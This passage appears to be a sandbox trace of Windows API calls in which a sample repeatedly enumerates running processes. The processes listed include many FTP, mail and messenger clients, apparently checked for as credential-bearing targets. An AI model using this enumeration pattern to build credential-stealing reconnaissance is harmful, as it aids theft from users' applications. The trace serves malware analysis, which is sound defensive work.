dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0267.593] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.595] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0267.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0267.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0267.650] CloseHandle (hObject=0x344) returned 1 [0267.651] Sleep (dwMilliseconds=0x64) [0267.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0267.725] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.729] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.735] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.792] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.794] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.817] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.819] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.821] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0267.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0267.876] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.878] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.880] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0267.882] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0267.886] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0267.888] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0267.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0267.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0267.895] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0267.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0267.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0267.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0267.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0267.942] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0267.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0267.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0267.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0267.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0267.952] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0267.954] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0267.956] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0268.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0268.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0268.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0268.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0268.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0268.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0268.128] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0268.130] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0268.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0268.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0268.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0268.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0268.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0268.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0268.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0268.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0268.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0268.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0268.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0268.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0268.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0268.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0268.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0268.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0268.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0268.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0268.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 